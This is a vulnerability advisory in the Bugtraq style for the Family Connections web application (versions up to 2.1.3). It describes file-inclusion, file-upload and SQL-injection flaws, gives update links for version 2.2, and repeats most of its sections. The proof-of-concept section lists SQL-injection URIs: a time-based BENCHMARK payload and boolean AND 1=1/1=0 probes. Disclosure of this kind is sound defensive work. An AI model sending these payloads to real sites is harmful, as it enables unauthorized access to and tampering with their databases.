Family Connections Multiple Input Validation Vulnerabilities
BID:37379
Info
Family Connections Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 37379 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 16 2009 12:00AM |
| Updated: | Mar 11 2010 05:02PM |
| Credit: | Salvatore Fresta aka Drosophila |
| Vulnerable: |
Haudenschilt Family Connections 2.1.3 Haudenschilt Family Connections 1.8.2 Haudenschilt Family Connections 1.8.1 Haudenschilt Family Connections 1.9 Haudenschilt Family Connections 1.4 |
| Not Vulnerable: |
Haudenschilt Family Connections 2.2 |
Discussion
Family Connections Multiple Input Validation Vulnerabilities
Family Connections is prone to multiple input-validation vulnerabilities, including a local file-include issue, an arbitrary-file-upload issue, and multiple SQL-injection issues. These issues occur because the application fails to properly sanitize user-supplied input.
Exploiting these issues may allow an unauthorized user to view files and execute local scripts, execute arbitrary script code, access or modify data, or exploit latent vulnerabilities in the underlying database.
Versions prior to Family Connections 2.2 are vulnerable.
Family Connections is prone to multiple input-validation vulnerabilities, including a local file-include issue, an arbitrary-file-upload issue, and multiple SQL-injection issues. These issues occur because the application fails to properly sanitize user-supplied input.
Exploiting these issues may allow an unauthorized user to view files and execute local scripts, execute arbitrary script code, access or modify data, or exploit latent vulnerabilities in the underlying database.
Versions prior to Family Connections 2.2 are vulnerable.
Exploit / POC
Family Connections Multiple Input Validation Vulnerabilities
Attackers can exploit these issues via a browser.
The following example URIs are available:
http://www.example.com/path/profile.php?member=1 AND IF(ASCII((SELECT CHAR(90))) = 90, BENCHMARK(10000000, MD5(0x90)), NULL)
http://www.example.com/path/messageboard.php?thread=1 AND 1=1
http://www.example.com/path/messageboard.php?thread=1 AND 1=0
The following exploit code is available:
Attackers can exploit these issues via a browser.
The following example URIs are available:
http://www.example.com/path/profile.php?member=1 AND IF(ASCII((SELECT CHAR(90))) = 90, BENCHMARK(10000000, MD5(0x90)), NULL)
http://www.example.com/path/messageboard.php?thread=1 AND 1=1
http://www.example.com/path/messageboard.php?thread=1 AND 1=0
The following exploit code is available:
Solution / Fix
Family Connections Multiple Input Validation Vulnerabilities
Solution:
Updates are available; please see the references for more information.
Haudenschilt Family Connections 1.9
Haudenschilt Family Connections 1.4
Haudenschilt Family Connections 1.8.1
Haudenschilt Family Connections 1.8.2
Haudenschilt Family Connections 2.1.3
Solution:
Updates are available; please see the references for more information.
Haudenschilt Family Connections 1.9
-
Haudenschilt FCMS_2.2.zip
http://sourceforge.net/projects/fam-connections/files/Family%20Connect ions/2.2/FCMS_2.2.zip/download
Haudenschilt Family Connections 1.4
-
Haudenschilt FCMS_2.2.zip
http://sourceforge.net/projects/fam-connections/files/Family%20Connect ions/2.2/FCMS_2.2.zip/download
Haudenschilt Family Connections 1.8.1
-
Haudenschilt FCMS_2.2.zip
http://sourceforge.net/projects/fam-connections/files/Family%20Connect ions/2.2/FCMS_2.2.zip/download
Haudenschilt Family Connections 1.8.2
-
Haudenschilt FCMS_2.2.zip
http://sourceforge.net/projects/fam-connections/files/Family%20Connect ions/2.2/FCMS_2.2.zip/download
Haudenschilt Family Connections 2.1.3
-
Haudenschilt FCMS_2.2.zip
http://sourceforge.net/projects/fam-connections/files/Family%20Connect ions/2.2/FCMS_2.2.zip/download
References
Family Connections Multiple Input Validation Vulnerabilities
References:
References:
- #137 (Family Connections <= 2.1.3 Multiple Remote Vulnerabilities) �?? Family Conn (salvatorefresta)
- Family Connections » Blog Archive » FCMS 2.2 (Family Connections)
- Family Connections Homepage (Haudenschilt)